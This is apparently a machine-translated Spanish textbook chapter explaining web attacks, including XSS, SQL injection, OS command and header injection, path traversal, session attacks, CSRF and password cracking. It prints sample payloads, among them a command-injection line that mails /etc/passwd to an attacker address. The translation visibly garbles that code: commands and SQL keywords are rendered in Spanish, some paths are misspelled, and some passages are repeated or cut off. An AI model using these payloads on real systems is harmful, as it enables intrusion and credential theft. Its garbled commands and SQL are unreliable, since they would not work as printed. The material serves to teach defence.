Capítulo 11 Técnicas de ataque web
11.1 Técnicas de ataque web
El protocolo HTTP simple en sí no tiene problemas de seguridad, por lo que el protocolo en sí difícilmente será el objetivo de ataques. El servidor y el cliente que utilizan el protocolo HTTP, así como recursos como las aplicaciones web que se ejecutan en el servidor, son los objetivos del ataque. En la actualidad, la mayoría de los ataques desde Internet están dirigidos a sitios web y la mayoría de ellos a aplicaciones web. Este capítulo explica principalmente las técnicas de ataque de las aplicaciones web.
11.1.1 HTTP no tiene las características de seguridad necesarias
Las aplicaciones de sitios web actuales utilizan el protocolo HTTP de una manera radicalmente diferente a la que fue diseñada originalmente. Casi todos los sitios web actuales utilizan funciones de seguridad como gestión de sesiones y procesamiento de cifrado, pero estas funciones no están disponibles en el protocolo HTTP.
En general, HTTP es un mecanismo de protocolo puro general. Por tanto, tiene más ventajas, pero tiene desventajas en términos de seguridad.
Tomemos como ejemplo el protocolo SSH utilizado para el inicio de sesión remoto. SSH tiene funciones como autenticación a nivel de protocolo y gestión de sesiones, mientras que el protocolo HTTP no. Además, en términos de configuración del servicio SSH, cualquiera puede crear fácilmente un servicio con un alto nivel de seguridad, e incluso si se ha configurado el servidor HTTP, si desea proporcionar aplicaciones web basadas en servidor, debe volver a desarrollarlas en muchos casos.
Por lo tanto, los desarrolladores necesitan diseñar y desarrollar funciones de autenticación y gestión de sesiones para cumplir con los requisitos de seguridad de las aplicaciones web. Y el autodiseño significa que habrá varias realizaciones. Como resultado, el nivel de seguridad no es completo, pero detrás de la aplicación web que aún está funcionando, hay varios errores de los que los atacantes pueden abusar fácilmente.
11.1.2 Las solicitudes se pueden alterar en el cliente
En una aplicación web, todo el contenido de la solicitud HTTP recibida desde el navegador se puede cambiar y alterar libremente en el cliente. Por lo tanto, la aplicación web puede recibir contenido diferente al de los datos esperados.
Al cargar el código de ataque en el mensaje de solicitud HTTP, se puede lanzar un ataque a la aplicación web. El código de ataque se pasa a través de campos o formularios de consulta de URL, encabezados HTTP, cookies, etc. Si hay un agujero de seguridad en la aplicación web en este momento, la información interna será robada o el atacante obtendrá derechos de administración.
11.1.3 Modos de ataque contra aplicaciones web
Hay dos modos de ataque contra aplicaciones web.
Ataque activo
Ataque pasivo
Ataque activo dirigido al servidor
El ataque activo se refiere al modo de ataque en el que el atacante accede directamente a la aplicación web e introduce el código de ataque. Dado que este modo ataca los recursos directamente en el servidor, el atacante debe poder acceder a esos recursos.
Los ataques representativos en el modo de ataque activo son los ataques de inyección SQL y los ataques de inyección de comandos del sistema operativo.
Ataque pasivo dirigido al servidor El ataque pasivo se refiere al modo de ataque que utiliza la estrategia de trampa para ejecutar el código de ataque. Durante un ataque pasivo, el atacante no ataca directamente el acceso a la aplicación web de destino. El patrón de ataque habitual de un ataque pasivo es el siguiente.
Paso 1: El atacante engaña al usuario para que active la trampa establecida, que inicia una solicitud HTTP con un código de ataque integrado.
Paso 2: Después de que el usuario sea atrapado sin saberlo, el navegador o cliente de correo del usuario activará la trampa.
Paso 3: Después de ser engañado, el navegador del usuario enviará la solicitud HTTP que contiene el código de ataque a la aplicación web como objetivo del ataque y ejecutará el código de ataque.
Paso 4: Después de ejecutar el código de ataque, la aplicación web con vulnerabilidades de seguridad se convertirá en un trampolín para el atacante, lo que puede provocar el robo de información personal, como las cookies en poder del usuario, y el abuso malicioso de los derechos del usuario en el estado de inicio de sesión. y otras consecuencias. Los ataques típicos en el modo de ataque pasivo son secuencias de comandos entre sitios y falsificación de solicitudes entre sitios.
Los ataques típicos en el modo de ataque pasivo son secuencias de comandos entre sitios y falsificación de solicitudes entre sitios.
Utilizar la identidad del usuario para atacar la red interna de la empresa. Mediante ataques pasivos, se pueden lanzar ataques en redes como la intranet a las que no se puede acceder directamente desde Internet. Siempre que el usuario caiga en la trampa tendida de antemano por el atacante, dentro del alcance de la red a la que el usuario puede acceder, incluso la intranet de la empresa también será atacada. Muchas intranets empresariales todavía pueden conectarse a Internet, visitar sitios web o recibir correos electrónicos desde Internet. Esto puede dar a los atacantes la oportunidad de inducir a los usuarios a activar la trampa y lanzar ataques en la intranet corporativa.
11.2 Vulnerabilidades de seguridad causadas por el escape incompleto de los valores de salida
La implementación de contramedidas de seguridad para aplicaciones web se puede dividir aproximadamente en las dos partes siguientes.
Validación del lado del cliente Validación
del lado de la aplicación web (lado del servidor) Validación
del valor de entrada
Escape del valor de salida
En la mayoría de los casos, se utiliza JavaScript para validar datos en el lado del cliente. Sin embargo, se permite la manipulación de datos o la desactivación de JavaScript en el lado del cliente, por lo que no es adecuado utilizar la verificación de JavaScript como medida de seguridad. Mantener la validación del lado del cliente es solo para identificar errores de entrada lo antes posible y mejorar la experiencia de la interfaz de usuario. La validación del valor de entrada en el lado de la aplicación web puede confundirse con código ofensivo si se procesa en la aplicación web. La validación del valor de entrada generalmente se refiere a verificar si es un valor que se ajusta a la lógica comercial del sistema o verificar la codificación de caracteres y otras medidas preventivas. Al generar datos procesados por una aplicación web desde una base de datos o sistema de archivos, HTML, correo electrónico, etc., escapar de los valores para la salida es una estrategia de seguridad crítica. Cuando el valor de salida se escapa de forma incompleta, causará daños al objeto de salida al activar el código de ataque pasado por el atacante.
El ataque de secuencias de comandos entre sitios (Cross-Site Scripting, XSS) se refiere a un ataque que ejecuta etiquetas HTML o JavaScript ilegales en el navegador de un usuario registrado de un sitio web con un agujero de seguridad. Las partes de HTML creadas dinámicamente pueden ocultar potencialmente agujeros de seguridad. De esta manera, el atacante escribe un script para establecer una trampa y, cuando el usuario esté ejecutando su navegador, será atacado pasivamente si no tiene cuidado. Los ataques de secuencias de comandos entre sitios pueden causar los siguientes efectos. Utilice formularios de entrada falsos para defraudar a los usuarios con información personal. El script se utiliza para robar el valor de las cookies del usuario y la víctima ayuda al atacante a enviar solicitudes maliciosas sin saberlo. Mostrar artículos o imágenes falsas. El caso del ataque de secuencias de comandos entre sitios ocurre en el HTML generado dinámicamente. A continuación se toma como ejemplo la edición de una página de información personal para explicar el ataque de secuencias de comandos entre sitios. La siguiente interfaz muestra el contenido de la información personal ingresada por el usuario.
La pantalla de confirmación muestra la cadena de caracteres ingresada en la pantalla de edición tal como está. Introduzca aquí una cadena de caracteres con etiquetas HTML como Ichiro Yamaguchi.
Figura: El mecanismo para mostrar el contenido de entrada tal como está
En la interfaz de confirmación en este momento, el navegador analizará la entrada del usuario en etiquetas HTML y luego mostrará un tachado. No sería tan malo que apareciera un tachado, pero ¿qué pasaría si se usara la etiqueta script en su lugar? XSS es un ataque pasivo activado por atacantes que utilizan trampas preestablecidas. Los ataques de secuencias de comandos entre sitios son ataques pasivos, por lo que los atacantes organizarán trampas para los ataques con anticipación. El sitio web en la figura siguiente especifica la ID a través del campo de consulta del URI en la barra de direcciones, lo que equivale a la función de completar automáticamente la cadena en el formulario. Y ahí mismo, hay una vulnerabilidad oculta que puede realizar ataques de secuencias de comandos entre sitios.
Un atacante que esté completamente familiarizado con las características de la vulnerabilidad aquí crea la siguiente URL incrustada con código malicioso. También está oculto e implantado en correos electrónicos o páginas web fraudulentos preparados previamente, incitando a los usuarios a hacer clic en la URL. Después de que el navegador abre el URI, intuitivamente siente que nada ha cambiado, pero el script configurado comienza a ejecutarse en secreto. Cuando el usuario ingresa el ID y la contraseña en el formulario, se enviará directamente al sitio web del atacante (es decir, hackr.jp), lo que provocará el robo de la información de inicio de sesión personal. Después de eso, el ID y la contraseña se pasarán a el sitio web oficial y luego. Aún siguiendo los pasos de inicio de sesión normales, es difícil para los usuarios darse cuenta de que su información de inicio de sesión se ha filtrado.
Además de establecer una trampa en el formulario, el siguiente script creado con fines malintencionados también puede robar la información de las cookies del usuario en forma de un ataque de scripts entre sitios.
Ejecute el programa JavaScript anterior en una aplicación web que tiene vulnerabilidades de seguridad que permiten ataques de secuencias de comandos entre sitios y podrá acceder a la información de las cookies bajo el nombre de dominio donde se encuentra la aplicación web. Luego, esta información se envía al sitio web del atacante (http://hackr.jp/), donde se registra en su registro de inicio de sesión. Como resultado, el atacante roba de esta manera la información de las cookies del usuario.
El ataque de inyección SQL que puede ejecutar una inyección SQL ilegal (SQLInjection) se refiere a un ataque generado al ejecutar SQL ilegal contra la base de datos utilizada por la aplicación web. Este riesgo de seguridad puede causar grandes amenazas y, en ocasiones, conducir directamente a la filtración de información personal e información confidencial. Las aplicaciones web generalmente usan bases de datos. Cuando se requieren operaciones como recuperación, adición y eliminación de datos en tablas de bases de datos, se utilizan declaraciones SQL para conectarse a la base de datos para operaciones específicas. Si hay omisiones en la forma de llamar a sentencias SQL, es posible ejecutar sentencias SQL ilegales inyectadas maliciosamente (Inyección). Los ataques de inyección SQL pueden causar los siguientes efectos. Visualización ilegal o manipulación de datos en la base de datos Evite la autenticación y ejecute programas asociados con el negocio del servidor de bases de datos. ¿Qué es SQL? SQL es un lenguaje de base de datos utilizado para operar un sistema de gestión de bases de datos relacionales (Relational DataBaseManagement System, RDBMS), que puede manipular datos o definir datos. etc. Las bases de datos conocidas en RDBMS incluyen Oracle Database, Microsoft SQLServer, IBM DB2, MySQL y PostgreSQL. Estos sistemas de bases de datos pueden utilizar SQL como lenguaje de base de datos. Las aplicaciones web que utilizan bases de datos pasan declaraciones SQL a RDBMS a través de un método determinado y luego usan de manera flexible los resultados devueltos por RDBMS en aplicaciones web.
Ejemplo de declaración SQL
SELECT título,texto FROM newsTbl WHERE id=123
Caso de ataque de inyección SQL
Especifique el campo de consulta para buscar
la palabra clave = Ueno Xuan' –
SELECT * FROM bookTbl WHERE autor ='Ueno Xuan' --' y flag=1;
El problema causó: en la declaración SQL – todo lo que sigue se considera un comentario. Es decir, la condición y el indicador = 1 se ignoran automáticamente.
palabra clave = '123 o 1=1'
SELECCIONE título, texto DE noticiasTbl DONDE nombre = 123 o 1=1
El problema causado por: se han descubierto todos los datos
11.2.3 Ataque de inyección de comandos del sistema operativo El
ataque de inyección de comandos del sistema operativo (inyección de comandos del sistema operativo) se refiere a la ejecución de comandos ilegales del sistema operativo a través de aplicaciones web para lograr el propósito del ataque. Mientras se pueda llamar a la función Shell, existe el riesgo de ser atacado.
Los comandos del sistema operativo se pueden invocar a través del shell desde la aplicación web. Si hay una omisión al invocar el Shell, se pueden ejecutar comandos ilegales del sistema operativo insertados.
Un ataque de inyección de comandos del sistema operativo puede enviar comandos al shell, lo que hace que la línea de comandos del sistema operativo Windows o Linux inicie programas. Es decir, la seguridad en el sistema operativo se puede ejecutar mediante ataques de inyección de sistema operativo
.
Caso de ataque de inyección de sistema operativo
A continuación se utiliza la función de envío del formulario de consulta como ejemplo para explicar el ataque de inyección de sistema operativo. Esta función puede enviar el correo electrónico de consulta del usuario a la dirección de correo electrónico de la otra parte que se ha completado.
El siguiente es un extracto de una parte del código central que procesa el contenido del formulario.
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "De: [email protected]\n";
abrir en el programa La función llamará al comando sendmail para enviar correo, y la dirección de envío de correo especificada es el valor de $adr.
; gato /etc/contraseña | correo [email protected]
| /usr/sbin/sendmail; gato /etc/contraseña | hack de [email protected]
El valor de entrada del atacante contiene un punto y coma (;). Este símbolo se interpreta como un token que separa varios comandos de ejecución en un comando del sistema operativo.
Se puede ver que después de separar la ejecución del comando sendmail, a continuación se ejecutará un comando como cat /etc/passwd | mail [email protected]. Como resultado, el archivo /etc/passwd que contiene la información de la cuenta de Linux se envió por correo electrónico a [email protected].
11.2.4 Ataque de inyección de encabezado HTTP La
inyección de encabezado HTTP (inyección de encabezado HTTP) se refiere a un ataque en el que un atacante agrega cualquier encabezado o cuerpo de respuesta insertando una nueva línea en el campo del encabezado de respuesta. Pertenece al modo pasivo-agresivo. Los ataques que agregan contenido al cuerpo del encabezado se conocen como ataques de división de respuesta HTTP.
Como se muestra a continuación, las aplicaciones web a veces asignan valores recibidos desde el exterior a los campos del encabezado de respuesta Ubicación y Establecer cookie.
Ubicación: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
＊12345 es el valor insertado
La inyección de encabezado HTTP podría atacar de esta manera insertando nuevas líneas donde ciertos campos del encabezado de respuesta necesitan procesar valores de salida.
Los ataques de inyección de encabezados HTTP pueden causar los siguientes efectos.
Establecer cualquier información de cookie
Redirigir a cualquier URL
para mostrar cualquier cuerpo (ataque de truncamiento de respuesta HTTP)
Caso de ataque de inyección de encabezado HTTP
Tomemos como ejemplo la función de saltar a la página correspondiente a cada categoría después de seleccionar una categoría para explicar el ataque de inyección de encabezado HTTP. Esta función establece un valor de ID de categoría para cada categoría. Una vez que se selecciona una categoría, el valor de ID se reflejará en el campo del encabezado Ubicación en la respuesta, como Ubicación: http://example.com/?cat=101. Hacer que el navegador redirija y salte.
El atacante envía la solicitud con el siguiente contenido reemplazando el ID de categoría anterior.
101%0D%0ASet-Cookie:+SID=123456789
Entre ellos, %0D%0A representa el carácter de nueva línea en el mensaje HTTP, seguido del ID de sesión que puede forzar el establecimiento del sitio web del atacante (http://hackr.jp/) al campo de encabezado Set-Cookie con SID=123456789.
Después de enviar esta solicitud, suponga que se devuelve la siguiente respuesta como resultado.
Ubicación: http://example.com/?cat=101 (%0D%0A: salto de línea)
Set-Cookie: SID=123456789
En este momento, el campo de encabezado Set-Cookie está vigente, por lo que el atacante puede especificar si desea modificar cualquier información de la cookie. En combinación con un ataque de fijación de sesión (el atacante puede utilizar un ID de sesión específico), el atacante puede hacerse pasar por el usuario.
El %0D%0A ingresado por el atacante debería pertenecer originalmente al valor de consulta del campo de encabezado Ubicación, pero después del análisis, %0D%0A se convierte en un carácter de nueva línea y, como resultado, se inserta un nuevo campo de encabezado.
Esto permite a un atacante insertar campos de encabezado arbitrarios en la respuesta.
Ataque de truncamiento de respuesta HTTP
El ataque de truncamiento de respuesta HTTP es un ataque utilizado en la inyección de encabezado HTTP. La secuencia de ataque es la misma, pero se insertan dos %0D%0A%0D%0A uno al lado del otro en la cadena y se envían. Estas dos nuevas líneas consecutivas se pueden utilizar para crear la línea en blanco necesaria para separar el encabezado y el cuerpo HTTP, de modo que el cuerpo falsificado pueda mostrarse para lograr el propósito del ataque. Estos ataques se denominan ataques de truncamiento de respuesta HTTP.
%0D%0A%0D%0A
11.2.5 Ataque de inyección de encabezado de correo electrónico
11.2.6 Ataque transversal de directorio
El ataque transversal de directorio se refiere a un ataque que logra el propósito de acceder a un directorio de archivos que no está destinado a ser divulgado truncando ilegalmente su ruta de directorio. Este ataque a veces también se denomina ataque de recorrido de ruta.
Al procesar archivos a través de aplicaciones web, si hay una omisión en el procesamiento de nombres de archivos especificados externamente, los usuarios pueden usar rutas relativas como .../ para ubicar rutas absolutas como /etc/passed, de modo que cualquier archivo o archivo en el servidor Se puede acceder a todos los directorios. Esto hace posible explorar, manipular o eliminar ilegalmente archivos en el servidor web. Si bien existe un problema al escapar de los valores de salida, es mejor desactivar el acceso específico a nombres de archivos arbitrarios.
Ejemplo de ataque transversal de directorio
A continuación se utiliza la función de mostrar y leer archivos como ejemplo para explicar el ataque transversal de directorio. Esta función especifica un nombre de archivo a través de los siguientes campos de consulta. Luego lea el archivo especificado desde el directorio de archivos /www/log/.
http://example.com/read.php?log=0401.log
El atacante envía la solicitud después de configurar los siguientes campos de consulta.
http://example.com/read.php?log=…/…/etc/passwd
campo de consulta Para leer el archivo /etc/passwd objetivo del atacante, la ruta relativa se ubicará en /www/log / directorio. Si este script read.php acepta solicitudes de acceso al directorio especificado, existe el riesgo de acceder a archivos que originalmente no eran públicos.
11.2.7 Vulnerabilidad de inclusión remota de archivos
Vulnerabilidad de inclusión remota de archivos (Inclusión remota de archivos) significa que cuando parte del contenido del script necesita leerse de otros archivos, el atacante usa la URL del servidor externo especificado como un
archivo Un ataque que ejecuta scripts arbitrarios. Esto es principalmente un agujero de seguridad en PHP. Para PHP include o require, esta es una función que se puede configurar para especificar la URL del servidor externo como nombre de archivo. Sin embargo, esta función es demasiado peligrosa y no es válida de forma predeterminada después de PHP5.2.0. Aunque existe un problema al escapar de los valores de salida, se debe controlar la especificación de nombres de archivos arbitrarios.
11.3 Fallos de seguridad causados por fallas de configuración o diseño Los fallos de seguridad
causados por fallas de configuración o diseño se refieren a fallas de seguridad causadas por configuraciones incorrectas del servidor web o por algunos problemas de diseño.
11.3.1 Navegación forzada
La vulnerabilidad de seguridad de navegación forzada (navegación forzada) se refiere a la exploración de archivos que originalmente se publicaron involuntariamente a partir de archivos ubicados en el directorio público del servidor web.
La navegación forzada puede tener los siguientes efectos.
Fuga de información importante, como información personal de los clientes.
Fuga de información que solo deben ver los usuarios con derechos de acceso.
Fuga de archivos que no están vinculados al mundo exterior. Las URL
de archivos que originalmente no estaban destinadas a hacerse públicas están ocultas por motivos de seguridad. razones. Pero una vez que conoce esas URL, significa que puede explorar los archivos correspondientes a las URL. Al mostrar directamente nombres de archivos o índices de directorios de archivos fáciles de adivinar, algunos métodos pueden filtrar URL.
Lista de directorios de archivos
http://www.example.com/log/
Al especificar el nombre del directorio de archivos, puede ver el nombre del archivo mostrado en la lista de archivos. El nombre del archivo y el nombre del directorio que son fáciles de adivinar
http://www.example.com/entry/entry_081202.log
El nombre del archivo es fácil de adivinar (según la situación anterior, se puede deducir que el siguiente archivo es Entry_081203 .log)
Archivo de copia de seguridad
http:// www.example.com/cgi-bin/entry.cgi (archivo original)
http://www.example.com/cgi-bin/entry.cgi~ (archivo de copia de seguridad)
http://www.example.com/cgi-bin/entry.bak (archivo de respaldo)
El archivo de respaldo generado automáticamente por el software de edición no tiene permiso de ejecución y puede mostrarse directamente en forma de código fuente.
El archivo que puede solo se mostrará después de que se
haya pasado la certificación directamente Acceso URL a archivos
(archivos HTML, imágenes, documentos como PDF, CSS y otros datos, etc.) que
Casos de vulnerabilidades de seguridad causadas por la navegación forzada
Tomemos como ejemplo la función de diario SNS del sistema de membresía para explicar las posibles lagunas de seguridad causadas por la navegación forzada. La función de diario garantiza que nadie pueda acceder al diario excepto el propio usuario que tiene autoridad de acceso.
El código fuente de las fotografías contenidas en este diario se muestra a continuación.
Incluso si no tiene acceso a este diario, siempre que conozca la URL de la imagen, puede mostrarla especificando directamente la URL. La función y el texto del diario tienen el control del objeto de acceso, pero no tienen el control del objeto de acceso a la imagen, creando así un agujero de seguridad.
11.3.2 Manejo incorrecto de mensajes de error
Vulnerabilidad de seguridad en el manejo incorrecto de mensajes de error (vulnerabilidad de manejo de errores) significa que el mensaje de error de una aplicación web contiene información útil para un atacante. Los principales mensajes de error relacionados con la aplicación web son los siguientes.
Mensajes de error generados por aplicaciones web
Mensajes de error generados por sistemas como bases de datos
Las aplicaciones web no necesitan mostrar mensajes de error detallados en la pantalla de navegación del usuario. Para los atacantes, los mensajes de error detallados pueden darles pistas para su próximo ataque.
Un caso en el que el manejo incorrecto de mensajes de error genera vulnerabilidades de seguridad.
Mensaje de error lanzado por una aplicación web.
A continuación se toma el mensaje de error de autenticación de la función de autenticación como ejemplo para explicar el método incorrecto de manejo de mensajes de error. Esta función de autenticación generará un mensaje de error cuando la dirección de correo electrónico y la contraseña ingresadas en el formulario no coincidan.
La pantalla superior muestra el mensaje de error "La dirección de correo electrónico no está registrada". Este mensaje de error se activa cuando la dirección de correo electrónico ingresada no está registrada en el sitio web. Porque si la dirección de correo electrónico existe, debería aparecer un mensaje de error como "La contraseña ingresada es incorrecta".
El atacante generará diferentes mensajes de error al realizar diferentes entradas, que pueden usarse para confirmar si la dirección de correo electrónico ingresada ya se ha registrado en este sitio web. Para no permitir que el mensaje de error ilumine al atacante, se recomienda mantener el contenido del mensaje de aviso solo en el nivel de "error de autenticación".
Mensajes de error generados por sistemas como las bases de datos.
Tomemos como ejemplo los mensajes de error generados por la función de búsqueda para explicar cómo tratar los mensajes de error incorrectos. Esta función se utiliza para recuperar datos. Cuando se ingresa una cadena de caracteres inesperada, se generará un error en la base de datos.
A continuación se utiliza el mensaje de error de autenticación de la función de autenticación como ejemplo para explicar cómo manejar mensajes de error incorrectos. Esta función de autenticación generará un mensaje de error cuando la dirección de correo electrónico y la contraseña ingresadas en el formulario no coincidan.
Los mensajes de error relacionados con SQL se muestran en la pantalla superior. Para los desarrolladores, esta información puede resultar útil a la hora de depurar, pero no es de utilidad para los usuarios. A partir de este mensaje, el atacante puede leer que la base de datos es MySQL e incluso ver un fragmento de la declaración SQL. Esto puede inspirar a los atacantes para ataques de inyección SQL.
Los errores arrojados por el sistema se centran principalmente en los siguientes aspectos.
Errores de script como PHP o ASP
Errores de base de datos o middleware
Errores de servidor web
Cada sistema debe suprimir mensajes de error detallados o utilizar mensajes de error personalizados para evitar ciertos mensajes de error de atacantes inspiradores.
11.3.3 Open Redirect
Open Redirect (Open Redirect) es una función de redireccionamiento a cualquier URL especificada. El agujero de seguridad asociado con esta característica significa que si la URL de redirección especificada es a un sitio web malicioso, entonces el usuario será inducido a ese sitio web.
Casos de ataque de redirección abierta
Tomemos la redirección de la siguiente URL como ejemplo para explicar el caso de ataques de redirección abierta. Esta función es para redirigir la URL original después de especificar parámetros a la URL.
http://example.com/?redirect=http://www.tricorder.jp
El atacante reescribe los parámetros especificados en la redirección a la conexión correspondiente del sitio web atrapado, como se muestra a continuación.
http://example.com/?redirect=http://hackr.jp
Cuando los usuarios ven la URL, piensan que van a example.com, pero en realidad son inducidos a hackr.jp, el objetivo de redirección designado.
Si la función de redirección está habilitada en un sitio web altamente creíble, es probable que los atacantes la seleccionen y la utilicen como trampolín para ataques de phishing.
11.4 Vulnerabilidades de seguridad causadas por una gestión negligente de la sesión
La gestión de la sesión es una función esencial para gestionar el estado del usuario, pero si hay alguna negligencia en la gestión de la sesión, se robará el estado de autenticación del usuario.
11.4.1 Secuestro de sesión El
secuestro de sesión (secuestro de sesión) significa que el atacante obtiene el ID de sesión del usuario a través de algún medio y utiliza ilegalmente el ID de sesión para hacerse pasar por el usuario para lograr el propósito del ataque. Para aplicaciones web con función de autenticación, el mecanismo de gestión de sesiones que utiliza el ID de sesión se utiliza como forma principal de gestionar el estado de autenticación. El ID de sesión registra información como la cookie del cliente, y el lado del servidor gestiona la coincidencia uno a uno entre el ID de sesión y el estado de autenticación.
A continuación se muestran varias formas en que un atacante puede obtener una ID de sesión.
Inferir ID de sesión a través de métodos de generación informales Robar ID de sesión
mediante escuchas ilegales o ataques XSS Obtener ID de sesión
por la fuerza mediante ataques de fijación de sesión (Fijación de sesión)
Caso de ataque de secuestro de sesión
Tomemos la función de autenticación como ejemplo para explicar el secuestro de sesión. La función de autenticación aquí guardará el ID de sesión (SID) del usuario autenticado exitosamente en la cookie del navegador del usuario a través del mecanismo de administración de sesión.
Después de que el atacante sabe que el sitio web tiene un agujero de seguridad que puede ser atacado entre sitios (XSS), configura una trampa para llamar a document.cookie con un script JavaScript para robar información de las cookies. Un atacante puede obtener una cookie que contiene la sesión IDENTIFICACIÓN.
Después de que el atacante obtiene el ID de sesión del usuario, lo establece en la cookie de su navegador y luego puede hacerse pasar por el usuario cuyo ID de sesión fue robado y visitar el sitio web.
11.4.2 Ataques de fijación de sesión
Para el secuestro de sesión que utiliza el robo de la ID de sesión de destino como método de ataque activo, el ataque de fijación de sesión (Fijación de sesión) obligará al usuario a utilizar la ID de sesión especificada por el atacante, que es un ataque pasivo. ataque.
Caso de ataque de fijación de sesión
A continuación se utiliza la función de autenticación como ejemplo para explicar el ataque de fijación de sesión. La función de autenticación de este sitio web emitirá una ID de sesión antes de la autenticación y, si la autenticación es exitosa, el estado de autenticación cambiará en el servidor.
El atacante prepara una trampa visitando primero el sitio web para obtener el ID de la sesión (SID=f5d1278e8109). En este momento, el registro del ID de sesión en el servidor aún está (sin autenticar). (Paso ① ~ ②)
El atacante establece una trampa para obligar al usuario a utilizar el ID de sesión y espera a que el usuario se autentique con el ID de sesión. Una vez que el usuario activa la trampa y completa la autenticación, se registrará el estado del ID de sesión (SID=f5d1278e8109) en el servidor (el usuario A está autenticado). (paso ③)
El atacante estima que el usuario casi ha activado la trampa y luego utiliza el ID de la sesión anterior para acceder al sitio web. Dado que el ID de sesión se encuentra actualmente en el estado (El usuario A está autenticado), el atacante inicia sesión con éxito en el sitio web como Usuario A. (paso ④)
Adopción de sesión
La adopción de sesión se refiere a la función que PHP o ASP.NET pueden recibir y procesar ID de sesión desconocidos.
El uso malintencionado de esta característica puede saltarse la etapa de preparación de un ataque de fijación de sesión y obtener el ID de sesión emitido desde el sitio web. Es decir, un atacante puede crear una ID de sesión de forma privada para formar una trampa, pero el middleware pensará erróneamente que la ID de sesión es una ID de sesión desconocida y la aceptará.
11.4.3 Falsificación de solicitudes entre sitios
El ataque de falsificación de solicitudes entre sitios (Cross-Site Request Forgeries, CSRF) se refiere a que el atacante obliga al usuario autenticado a realizar información personal o información de configuración inesperada, etc. Estas actualizaciones de estado son pasivo-agresivas .
La falsificación de solicitudes entre sitios puede causar los siguientes efectos.
Usar la autoridad de usuario autenticado para actualizar la información de configuración, etc.
Usar la autoridad de usuario autenticado para comprar productos
Usar la autoridad de usuario autenticado para publicar comentarios en foros de mensajes
Ejemplo de ataque de falsificación de solicitudes entre sitios
A continuación se utiliza la función del tablero de mensajes como ejemplo para explicar la falsificación de solicitudes entre sitios. Esta función solo permite a los usuarios autenticados y registrados publicar contenido en el tablero de mensajes.
En el sistema del tablero de mensajes, el usuario víctima A está autenticado. Una cookie en su navegador contiene el ID de sesión autenticado (paso ①).
Los atacantes colocaron la trampa para enviar solicitudes para publicar comentarios no subjetivos en el foro de mensajes una vez que el usuario los visita. Después de que el navegador del usuario A ejecute la solicitud en la trampa, el comentario se dejará en el tablero de mensajes (paso ②).
Cuando se activa la trampa, si el usuario A no ha pasado la autenticación, no puede usar la autoridad de identidad del usuario A para publicar contenido en el tablero de mensajes.
11.5 Otras vulnerabilidades de seguridad
11.5.1 Cracking de contraseñas
El ataque de cracking de contraseñas (Password Cracking) consiste en calcular la contraseña y romper la autenticación. Los ataques no se limitan a aplicaciones web, sino que también incluyen otros sistemas (como FTP o SSH, etc.) Esta sección explicará cómo descifrar contraseñas de aplicaciones web con funciones de autenticación.
Hay dos formas de descifrar la contraseña.
Prueba y error de contraseñas a través de la red
El descifrado de contraseñas cifradas (refiriéndose a la situación en la que un atacante invade el sistema y obtiene datos de contraseña cifrados o hash)
elimina los medios para atacar los avances en la autenticación, así como los ataques de inyección SQL para evadir la autenticación, scripting de sitios Ataques para robar información de contraseñas y otros métodos.
Prueba y error de contraseña a través de la red
Un ataque a la función de autenticación proporcionada por una aplicación web al probar contraseñas candidatas a través de la red. Hay principalmente dos formas. Ataque
de fuerza bruta Diccionario Ataque Ataque de fuerza bruta El ataque de fuerza bruta (también conocido como ataque de fuerza bruta) se refiere a una enumeración exhaustiva del espacio de claves (Keyspace) compuesto por todos los conjuntos de claves. Es decir, un ataque que utiliza todas las contraseñas candidatas posibles para intentar provocar un error en el criptosistema del objetivo y romper la verificación. Por ejemplo, si el código de identificación personal adoptado por el banco es una contraseña compuesta de "4 dígitos", entonces es necesario probar todos los dígitos del 0000 al 9999 uno por uno. De esta manera, debe haber una contraseña correcta en el conjunto de contraseñas candidatas que pueda pasar la autenticación. Debido a que la fuerza bruta prueba todas las contraseñas candidatas, es un ataque que garantiza romper la contraseña. Sin embargo, cuando el espacio de claves es grande, el descifrado puede tardar años, o incluso miles de años, por lo que, desde un punto de vista práctico, el ataque es un fracaso. Ataque de diccionario El ataque de diccionario se refiere a un método de ataque que utiliza contraseñas candidatas recopiladas previamente (almacenadas en el diccionario después de varias combinaciones) para enumerar las contraseñas en el diccionario e intentar pasar la autenticación.
Tomemos el ejemplo de un banco que utiliza un código de identificación personal de "4 dígitos" como contraseña. Teniendo en cuenta que es más probable que los usuarios utilicen su propia fecha de nacimiento como contraseña, la fecha de nacimiento se puede digitalizar, como guardar 0101 ~ 1231. como diccionario, para probarlo. En comparación con el método de fuerza bruta, dado que hay menos contraseñas candidatas para probar, el ataque lleva menos tiempo. Sin embargo, si la contraseña correcta no está en el diccionario, no se podrá descifrar con éxito. Entonces el éxito o fracaso del ataque depende del contenido del diccionario.
Ataques que utilizan identificaciones y contraseñas filtradas en otros sitios
Los ataques de diccionario incluyen ataques que utilizan listas de identificaciones y contraseñas filtradas de otros sitios web. Muchos usuarios están acostumbrados a utilizar aleatoriamente el mismo conjunto de ID y contraseña en varios sitios web, por lo que el ataque tendrá una probabilidad muy alta de éxito1.
Descifrando contraseñas cifradas
Al guardar contraseñas, las aplicaciones web generalmente no las guardan directamente en texto sin formato, sino que las cifran para guardarlas mediante hash con una función hash o agregando sal. Incluso si el atacante utiliza algún medio para robar datos de contraseñas, si quiere utilizar estas contraseñas, primero debe restaurar las contraseñas cifradas a texto sin formato mediante decodificación y otros medios
.
Generalmente existen varias formas de derivar texto sin formato a partir de datos cifrados.
Analogía mediante ataque de diccionario de fuerza bruta
a la tabla Rainbow
para obtener la clave
Vulnerabilidades en el algoritmo de cifrado
Analogía mediante el método de fuerza bruta · ataque de diccionario
Para el caso en que la contraseña esté cifrada con una función hash, use el mismo método que el método de fuerza bruta o el ataque de diccionario, intente llamar a la misma función hash para cifrar la contraseña candidata y luego use la función hash calculada El valor de la columna coincide con el valor hash objetivo y la clase deduce la contraseña.
Rainbow Table
Rainbow Table (Rainbow Table) es una tabla de base de datos compuesta por contraseñas de texto sin formato y los valores hash correspondientes. Consejos para reducir el consumo de tiempo. La contraseña de texto plano correspondiente se puede obtener buscando el valor hash en la tabla del arco iris.
